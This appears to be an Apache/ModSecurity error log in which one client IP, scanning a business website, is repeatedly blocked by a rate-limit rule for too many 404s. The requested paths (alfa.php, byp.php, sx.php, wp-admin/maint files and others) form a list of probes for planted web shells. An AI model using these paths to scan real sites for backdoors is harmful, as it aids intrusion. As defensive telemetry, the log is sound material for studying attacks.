[Sat Jan 03 03:38:05.290865 2026] [:error] [pid 2083:tid 2088] [client 4.194.208.111:10213] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVgenTVlR_BmlMPnhV6faQAAAMM"]
[Sat Jan 03 03:38:05.707441 2026] [:error] [pid 1929:tid 1946] [client 4.194.208.111:10131] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVgenecFqdpu6TNsuWqzzwAAAAg"]
[Sat Jan 03 03:38:06.033158 2026] [:error] [pid 1930:tid 1990] [client 4.194.208.111:18087] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVgenpP-6mqhfUDa89y8qAAAAFg"]
[Sat Jan 03 03:38:06.396266 2026] [:error] [pid 1929:tid 1955] [client 4.194.208.111:18102] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVgenucFqdpu6TNsuWqz0AAAABE"]
[Sat Jan 03 03:38:06.715156 2026] [:error] [pid 1930:tid 1977] [client 4.194.208.111:18099] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aVgenpP-6mqhfUDa89y8qgAAAEs"]
[Sat Jan 03 03:38:06.952150 2026] [:error] [pid 1930:tid 1980] [client 4.194.208.111:10236] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aVgenpP-6mqhfUDa89y8qwAAAE4"]
[Sat Jan 03 03:38:07.445387 2026] [:error] [pid 1929:tid 1943] [client 4.194.208.111:10185] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aVgen-cFqdpu6TNsuWqz0gAAAAU"]
[Sat Jan 03 03:38:07.757918 2026] [:error] [pid 1931:tid 2046] [client 4.194.208.111:10144] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aVgenx8Tyw7ZoIdXlcbdGAAAAJY"]
[Sat Jan 03 03:38:08.019822 2026] [:error] [pid 1929:tid 1939] [client 4.194.208.111:18097] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVgeoOcFqdpu6TNsuWqz1AAAAAE"]
[Sat Jan 03 03:38:08.293143 2026] [:error] [pid 1931:tid 2034] [client 4.194.208.111:10139] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVgeoB8Tyw7ZoIdXlcbdGgAAAIo"]
[Sat Jan 03 03:38:08.648797 2026] [:error] [pid 1930:tid 1968] [client 4.194.208.111:10227] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVgeoJP-6mqhfUDa89y8rgAAAEI"]
[Sat Jan 03 03:38:09.219821 2026] [:error] [pid 1931:tid 2044] [client 4.194.208.111:18085] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVgeoR8Tyw7ZoIdXlcbdGwAAAJQ"]
[Sat Jan 03 03:38:09.449587 2026] [:error] [pid 1930:tid 1981] [client 4.194.208.111:10187] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVgeoZP-6mqhfUDa89y8sQAAAE8"]
[Sat Jan 03 03:38:09.712097 2026] [:error] [pid 1930:tid 1976] [client 4.194.208.111:18110] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVgeoZP-6mqhfUDa89y8tAAAAEo"]
[Sat Jan 03 03:38:10.060108 2026] [:error] [pid 1930:tid 1979] [client 4.194.208.111:10209] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVgeopP-6mqhfUDa89y8wwAAAE0"]
[Sat Jan 03 03:38:10.345506 2026] [:error] [pid 1931:tid 1999] [client 4.194.208.111:10196] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVgeoh8Tyw7ZoIdXlcbdKAAAAIM"]
[Sat Jan 03 03:38:10.733504 2026] [:error] [pid 1931:tid 2033] [client 4.194.208.111:10194] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aVgeoh8Tyw7ZoIdXlcbdLAAAAIk"]
[Sat Jan 03 03:38:11.170476 2026] [:error] [pid 1929:tid 1942] [client 4.194.208.111:10186] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aVgeo-cFqdpu6TNsuWqz4QAAAAQ"]
[Sat Jan 03 03:38:11.589349 2026] [:error] [pid 2083:tid 2098] [client 4.194.208.111:18053] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aVgeozVlR_BmlMPnhV6fcwAAAM0"]
[Sat Jan 03 03:38:11.906938 2026] [:error] [pid 2083:tid 2099] [client 4.194.208.111:18086] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aVgeozVlR_BmlMPnhV6fdgAAAM4"]
[Sat Jan 03 03:38:12.288056 2026] [:error] [pid 1929:tid 1958] [client 4.194.208.111:18156] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aVgepOcFqdpu6TNsuWqz5gAAABQ"]
[Sat Jan 03 03:38:12.756424 2026] [:error] [pid 1929:tid 1955] [client 4.194.208.111:18109] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aVgepOcFqdpu6TNsuWqz6AAAABE"]
[Sat Jan 03 03:38:13.091585 2026] [:error] [pid 2083:tid 2093] [client 4.194.208.111:10179] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aVgepTVlR_BmlMPnhV6fdwAAAMg"]
[Sat Jan 03 03:38:13.534631 2026] [:error] [pid 1929:tid 1956] [client 4.194.208.111:18101] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aVgepecFqdpu6TNsuWqz6QAAABI"]
[Sat Jan 03 03:38:13.883739 2026] [:error] [pid 1929:tid 1953] [client 4.194.208.111:18127] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVgepecFqdpu6TNsuWqz7AAAAA8"]
[Sat Jan 03 03:38:14.365642 2026] [:error] [pid 1930:tid 1980] [client 4.194.208.111:18094] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVgeppP-6mqhfUDa89y80gAAAE4"]
[Sat Jan 03 03:38:14.707493 2026] [:error] [pid 1931:tid 2044] [client 4.194.208.111:10136] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVgeph8Tyw7ZoIdXlcbdRAAAAJQ"]
[Sat Jan 03 03:38:15.301825 2026] [:error] [pid 1929:tid 1948] [client 4.194.208.111:10112] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVgep-cFqdpu6TNsuWqz8wAAAAo"]
[Sat Jan 03 03:38:15.787843 2026] [:error] [pid 1931:tid 2046] [client 4.194.208.111:10142] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aVgepx8Tyw7ZoIdXlcbdSAAAAJY"]
[Sat Jan 03 03:38:16.123751 2026] [:error] [pid 1931:tid 1996] [client 4.194.208.111:10223] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aVgeqB8Tyw7ZoIdXlcbdSQAAAII"]
[Sat Jan 03 03:38:16.819784 2026] [:error] [pid 1929:tid 1949] [client 4.194.208.111:18063] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aVgeqOcFqdpu6TNsuWqz9gAAAAs"]
[Sat Jan 03 03:38:17.358617 2026] [:error] [pid 1929:tid 1958] [client 4.194.208.111:18114] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aVgeqecFqdpu6TNsuWqz-QAAABQ"]
[Sat Jan 03 03:38:19.091802 2026] [:error] [pid 1931:tid 1999] [client 4.194.208.111:10193] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aVgeqx8Tyw7ZoIdXlcbdTwAAAIM"]
[Sat Jan 03 03:38:19.427099 2026] [:error] [pid 1931:tid 2037] [client 4.194.208.111:10216] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aVgeqx8Tyw7ZoIdXlcbdUAAAAI0"]
[Sat Jan 03 03:38:19.777426 2026] [:error] [pid 1930:tid 1986] [client 4.194.208.111:10197] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aVgeq5P-6mqhfUDa89y82gAAAFQ"]
[Sat Jan 03 03:38:20.207974 2026] [:error] [pid 1931:tid 2038] [client 4.194.208.111:10150] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aVgerB8Tyw7ZoIdXlcbdUQAAAI4"]
[Sat Jan 03 03:38:20.444187 2026] [:error] [pid 2083:tid 2103] [client 4.194.208.111:10152] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aVgerDVlR_BmlMPnhV6fhgAAANI"]
[Sat Jan 03 03:38:20.727878 2026] [:error] [pid 2083:tid 2090] [client 4.194.208.111:10162] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aVgerDVlR_BmlMPnhV6fhwAAAMU"]
[Sat Jan 03 03:38:24.984607 2026] [:error] [pid 2083:tid 2085] [client 4.194.208.111:10161] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aVgesDVlR_BmlMPnhV6fmQAAAMA"]
[Sat Jan 03 03:38:25.461788 2026] [:error] [pid 2083:tid 2108] [client 4.194.208.111:18049] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aVgesTVlR_BmlMPnhV6fmwAAANc"]
[Sat Jan 03 03:38:25.805209 2026] [:error] [pid 2083:tid 2091] [client 4.194.208.111:18095] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aVgesTVlR_BmlMPnhV6fngAAAMY"]
[Sat Jan 03 03:38:26.120575 2026] [:error] [pid 2083:tid 2109] [client 4.194.208.111:10126] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aVgesjVlR_BmlMPnhV6fnwAAANg"]
[Sat Jan 03 03:38:26.427188 2026] [:error] [pid 1929:tid 1954] [client 4.194.208.111:18057] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVgesucFqdpu6TNsuWq0AAAAABA"]
[Sat Jan 03 03:38:26.892721 2026] [:error] [pid 2083:tid 2098] [client 4.194.208.111:18115] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVgesjVlR_BmlMPnhV6fogAAAM0"]
[Sat Jan 03 03:38:27.475451 2026] [:error] [pid 1930:tid 1989] [client 4.194.208.111:18098] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVges5P-6mqhfUDa89y86wAAAFc"]
[Sat Jan 03 03:38:28.075044 2026] [:error] [pid 1931:tid 2042] [client 4.194.208.111:10211] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVgetB8Tyw7ZoIdXlcbdbQAAAJI"]
[Sat Jan 03 03:38:28.509882 2026] [:error] [pid 2083:tid 2096] [client 4.194.208.111:10178] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aVgetDVlR_BmlMPnhV6fqQAAAMs"]
[Sat Jan 03 03:38:28.930346 2026] [:error] [pid 1931:tid 2045] [client 4.194.208.111:10156] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aVgetB8Tyw7ZoIdXlcbdbwAAAJU"]
[Sat Jan 03 03:38:29.401519 2026] [:error] [pid 1931:tid 2047] [client 4.194.208.111:10222] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aVgetR8Tyw7ZoIdXlcbdcAAAAJc"]
[Sat Jan 03 03:38:29.741496 2026] [:error] [pid 1929:tid 1955] [client 4.194.208.111:10084] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aVgetecFqdpu6TNsuWq0BwAAABE"]
[Sat Jan 03 03:38:30.058789 2026] [:error] [pid 1931:tid 2027] [client 4.194.208.111:10125] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aVgeth8Tyw7ZoIdXlcbdcwAAAIQ"]
[Sat Jan 03 03:38:30.386971 2026] [:error] [pid 1931:tid 2046] [client 4.194.208.111:10230] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aVgeth8Tyw7ZoIdXlcbddAAAAJY"]
[Sat Jan 03 03:38:30.990319 2026] [:error] [pid 1929:tid 1943] [client 4.194.208.111:10176] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aVgetucFqdpu6TNsuWq0CAAAAAU"]
[Sat Jan 03 03:38:31.372682 2026] [:error] [pid 2083:tid 2106] [client 4.194.208.111:10137] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aVgetzVlR_BmlMPnhV6fqwAAANU"]
[Sat Jan 03 03:38:31.833763 2026] [:error] [pid 1929:tid 1953] [client 4.194.208.111:10163] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aVget-cFqdpu6TNsuWq0CgAAAA8"]
